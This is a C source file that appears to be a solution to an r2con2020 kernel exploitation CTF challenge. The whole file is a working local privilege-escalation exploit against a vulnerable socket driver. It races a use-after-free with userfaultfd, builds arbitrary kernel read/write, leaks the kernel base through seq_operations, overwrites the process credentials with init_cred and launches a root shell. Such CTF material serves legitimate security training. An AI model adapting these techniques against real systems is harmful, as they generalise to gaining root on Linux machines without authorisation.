exploit.c

/* Solution for r2con2020 kernel pwnable challenge. This solution is based on 
 * previous challenge(2019) solution by Eloi Sanfelix. Also userfaultfd
 * Example codes are from https://cons.org/cracauer/cracauer-userfaultfd.html
 * For this exploit we need 7 sock objects to work with. 3 of them for UaF
 * trigger and rest of them for getting arbitrary read/write. By dumping
 * init_task we can get offset of task_comm by looking for 'swapper/0' and
 * for 'tasks' some heruistic calculations and a couple of dumping needed 
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <poll.h>
#include <sys/prctl.h>

/* Retrieved from kernel image. */
#define INIT_TASK      	0x100f740

/* These offsets obtained by dumping init_task and by finding "swapper" 
 * COMM name offset. */
#define TASKS        	0x2C8
#define CRED           	0x560
#define COMM          	0x570

/* To calculate kbase. */
#define SINGLE_STOP     0x1c5ef0

#define SOCK_BUF_SIZE	32

#define PAGE_SHIFT     	12
#define PAGE_SIZE       (1UL << PAGE_SHIFT)
#define PAGE_MASK      	(~(PAGE_SIZE-1))

#define NUMBER_OF_SOCKS	64

typedef struct {
    unsigned long uffd;
    unsigned long clean_page;
    unsigned long fault_page;
}args_t;

int fd_array[NUMBER_OF_SOCKS];

void fail(){
    for(int i=0; i<NUMBER_OF_SOCKS; i++){
        close(fd_array[i]);
    }
    exit(-1);
}

#include "socks.h"

uint64_t write64(uint64_t addr, uint64_t val) {
    uint64_t data = val;

    /* fd-4 buffer + fd-5 sock and fd-2 buffer. 
     * This set fd-4 write index to 0 since we setsize of fd-4 to 
     * 3*(sock_buf_t). */
    char buf[3*SOCK_BUF_SIZE] = { 0 };

    *(uint64_t*) (buf + 32)  = 0x8;
    *(uint64_t*) (buf + 40) = addr;
    *(uint64_t*) (buf + 48) = 0x0;
    *(uint64_t*) (buf + 56) = 0x0;

    sock_send(fd_array[3], buf, 3*32);

    /* fd-5 buffer addr is place to write. fd-6 and fd-5 are connected.*/
    sock_send(fd_array[6], (char *) &data, 8);

    return data;
}

uint64_t read64(uint64_t addr) {
    uint64_t data = 0;

    /* fd-4 buffer + fd-5 sock and fd-2 buffer. 
     * This set fd-4 write index to 0 since we setsize of fd-4 to 
     * 3*(sock_buf_t). fd-5 buffer will be the addr we want to read from.
     */
    char buf[3*SOCK_BUF_SIZE] = { 0 };

    *(uint64_t*) (buf + 32)  = 0x8;
    *(uint64_t*) (buf + 40) = addr;
    *(uint64_t*) (buf + 48) = 0x0;
    *(uint64_t*) (buf + 56) = 0x8;

    sock_send(fd_array[3], buf, 3*32);
    sock_recv(fd_array[5], (char *) &data, 8);

    return data;
}

static void* racer_thread(void* arg) {
    args_t *args = (args_t *)arg;

    unsigned long uffd       = args->uffd;
    unsigned long clean_page = args->clean_page;

    /* See hxxps://www[.]cons[.]org/cracauer/cracauer-userfaultfd.html 
     * for example code. */
    for (;;) {
        struct uffd_msg msg;
        struct pollfd pollfd;
        pollfd.fd       = uffd;
        pollfd.events   = POLLIN;
        int pollres;
        pollres = poll(&pollfd, 1, -1);

        if (pollres == -1){
            perror("poll");
            fail();
        }

        int readret;
        readret = read(uffd, &msg, sizeof(msg));

        if(readret == -1){
            perror("perror userfaultfd read");
            fail();
        }

        /* Now we will free old buffer and put new sock_buf_t of fd-3.  */
        sock_resize(fd_array[1], SOCK_BUF_SIZE*2);
        sock_init(fd_array[3], SOCK_BUF_SIZE);

        struct uffdio_copy uffdio_copy;
        uffdio_copy.src = (unsigned long) clean_page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & PAGE_MASK;
        uffdio_copy.len = (unsigned long) PAGE_SIZE;
        uffdio_copy.mode = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1){
            fprintf(stderr, "Couldn't do the IOCTL for copy");
            fail();	  
        }
        break;
    }
}

args_t get_ready(){
    args_t args;

    /* Setting up userfaultfd */
    if ((args.uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK)) == -1){
         perror("userfaultfd syscall");   
    	 fail();
     }

    /* Mapping page for userfaultfd. */
    unsigned long *userfault_page = (unsigned long *)mmap(NULL, PAGE_SIZE, 
		    PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);

    if (userfault_page == MAP_FAILED){
    	perror("mmap");
        fail();
    }

    /* Get a new page to handle faults. */
    void* clean_page = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE,
		    MAP_SHARED|MAP_ANON, -1, 0);

    if (clean_page == MAP_FAILED){
        perror("mmap");
        fail();
    }

    /* Set size of fd-3 to a higher value in order to to leak. */
    *(uint64_t*) clean_page = 0x4141414142424242;
   
    args.clean_page = (unsigned long)clean_page;
    args.fault_page = (unsigned long)userfault_page;

    struct uffdio_api uffdio_api;
    uffdio_api.api      = UFFD_API;
    uffdio_api.features = 0;

    if (ioctl(args.uffd, UFFDIO_API, &uffdio_api) == -1){
        perror("UFFDIO_API syscall");
        fail();
    }
    
    struct uffdio_register uffdio_register;
    uffdio_register.range.start = (unsigned long) userfault_page;
    uffdio_register.range.len   = PAGE_SIZE;
    uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING; 

    if (ioctl(args.uffd, UFFDIO_REGISTER, &uffdio_register) == -1){
        perror("UFFDIO_REGISTER syscall");
        fail();
    }

    return args;
}

int main(int argc, char* argv[argc+1]) {
    pthread_t racer;
    char tmp[100] = { 0 };

    printf("===============================================================\n");
    printf("Generally fails at first time. Please run again if that happen.\n\n");

    printf("Initialising sockets.\n");
    for (int i=0; i < NUMBER_OF_SOCKS; ++i) {
        if ((fd_array[i] = open("/dev/r2socks2", O_RDWR)) < 0){
            perror("device opening");
    	    return -1;	    
        }
    }

    sock_init(fd_array[1], SOCK_BUF_SIZE);
    sock_init(fd_array[2], SOCK_BUF_SIZE);
   
    sock_listen(fd_array[1],  "LEAK");
    sock_connect(fd_array[2], "LEAK");

    args_t arg = get_ready();
    printf("Userfaultfd is ready.\n");

    if (pthread_create(&racer, 0, racer_thread, (void*) &arg)){
    	perror("racer thread");
        fail();
    }

    /* This will trigger page fault. */
    sock_send(fd_array[2], (char *)arg.fault_page, 8);

    pthread_join(racer, 0);

    printf("At this point UaF should have been triggered!\n");

    /* Initialize other sockets as well. */
    sock_init(fd_array[4], SOCK_BUF_SIZE);
    sock_init(fd_array[5], SOCK_BUF_SIZE);
    sock_init(fd_array[6], SOCK_BUF_SIZE);

    /* Size of fd-3 is huge so we can send data to corrupt fd-4. */
    sock_listen(fd_array[3],  "READ");
    sock_connect(fd_array[4], "READ");

    /* We need fd-5 for arbitrary read/write. */
    sock_listen(fd_array[5],  "WRITE");
    sock_connect(fd_array[6], "WRITE");

    /* Set fd-4 w:0, r:20 so we can read up to end of the size. */
    sock_send(fd_array[3], tmp, 21);
    sock_recv(fd_array[4], tmp, 20);
    sock_send(fd_array[3], tmp, 11);

    /* Set fd-4 size to 0x4141414141414141 so we can leak the cache. */
    *(uint64_t *)(tmp+SOCK_BUF_SIZE) = 0x4141414141414141;
    sock_send(fd_array[4], tmp, 40);

    /* Leaking from the 20th index of fd-4. */
    uint64_t buffer[12] = { 0x0 };
    sock_recv(fd_array[4], ((char *)(buffer))+4, 12*sizeof(uint64_t));
   
    /* 4 bytes empty+12 bytes remaining from buffer, 3th index is leak. */
    uint64_t leak = buffer[3];
    if(leak < 0xffff000000000000){
        printf("Race is failed. Couldn't fill freed chunk.\n");
        fail();
    }

    /* We need to know fd-4 buffer pointer in order to overwrite 
     * write and read indexes. */
    uint64_t fourth_ptr = buffer[11];

    printf("Fourth socket PTR is : 0x%llx\n", fourth_ptr);

    /* Set fd-4 w:0 r:0 */
    *(uint64_t *)(tmp+0x0) = fourth_ptr;
    *(uint64_t *)(tmp+0x8) = 0x0;
    *(uint64_t *)(tmp+0x10) = 0x0;
    sock_send(fd_array[4], tmp, 24);

    /* Set the size of fd-3 to 64 so we can write and read 3th buffer 
     * and content of 4th sock info. */
    *(uint64_t *)(tmp + 64) = 64;
    sock_send(fd_array[4], tmp, 72);

    /* Set fd-3 w:0 to cleanup. */
    sock_send(fd_array[4], tmp, 64-8);

    /* Set fd-4 r:0, w:0 and size to 96 so we can change fd-5 content every 
     * time with setting w:0. By these setups we will have fd-4 in a such way 
     * that whenever we overwrite fd-5 write index will be 0 again due to 
     * buf->write_index = buf->write_index % buf->size. This will help us
     * to overwirte again and again without breaking anything.
     */
    *(uint64_t *)(tmp+32) = 3*32;
    *(uint64_t *)(tmp+40) = fourth_ptr;
    *(uint64_t *)(tmp+48) = 0x0;
    *(uint64_t *)(tmp+56) = 0x0;
    sock_send(fd_array[4], tmp, 64);

    printf("At this point we have arbitrary read/write.\n");

    /* Initialize new sockets. */
    sock_init(fd_array[7], SOCK_BUF_SIZE);
    sock_resize(fd_array[7], 128);

    printf("Looking for freed object...\n");

    uint64_t freed_obj = leak;

    while (read64(freed_obj) != 0xcccccccccccccccc) {
        freed_obj += 8;
    }

    /* This free chunk will be filled with seq_operations once we opened
     * a seq_file. eg. /proc/self/stat. */
    printf("found freed object at %llx\n", freed_obj);

    int stat = open("/proc/self/stat", O_RDONLY);

    printf("\nseq_operations single_start : %llx\n", read64(freed_obj-8));
    printf("seq_operations single_stop : %llx\n", read64(freed_obj));
    printf("seq_operations single_next : %llx\n", read64(freed_obj+8));
    printf("seq_operations single_show  : %llx\n\n", read64(freed_obj+16));

    uint64_t kbase = read64(freed_obj) - SINGLE_STOP;
    printf("T _text at %llx\n", kbase);

    prctl(PR_SET_NAME, "@lntrx", 0, 0, 0);

    char buf[17] = {0};

    /* Extract init_cred from init_task */
    uint64_t init_task = kbase + INIT_TASK;

    /* After the dump we can find string "swapper"(hex as 0x2f72657070617773 
     * whic is '/reppaws' because of little endian) which is defined to be init 
     * COMM string  '#define INIT_TASK_COMM "swapper"'. 
     * https://elixir.bootlin.com/linux/latest/source/include/linux/init_task.h#L39 
     */
    /*
    uint64_t value;
    uint64_t iterator = init_task;
    for(int i=0; i < 180; i++){
    	value = read64(iterator);
	printf("%x. %llx\n", i*8, value );
	iterator += 8;
    }
    */

    uint64_t init_cred = read64(init_task + CRED);

    /* Find our task by name.  */
    uint64_t current = init_task;

    do {
        *(uint64_t *)&buf[0] = read64(current + COMM);
        *(uint64_t *)&buf[8] = read64(current + COMM + 8);

        if (strcmp(buf, "@lntrx") == 0) {
            break;
        }

        current = read64(current + TASKS) - TASKS;
    } while (current != init_task);

    if (current == init_task ) {
        printf("[*] Failed to find ourselves...\n");
        exit(0);
    }

    /* Replace our creds by those of init. We read the first qword 
    * and increment it by 10. This increases the cred refcount by 
    * 10, making sure we don't cause a use-after-free when the exploit
    * process exits.
    */
    uint64_t init_cred_qw0 = read64(init_cred);
    write64(init_cred, init_cred_qw0 + 10);

    write64(current + CRED, init_cred);
    write64(current + CRED + 8, init_cred);

    printf("[*] We are: %d\n", getuid());

    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL);

    return 0;
}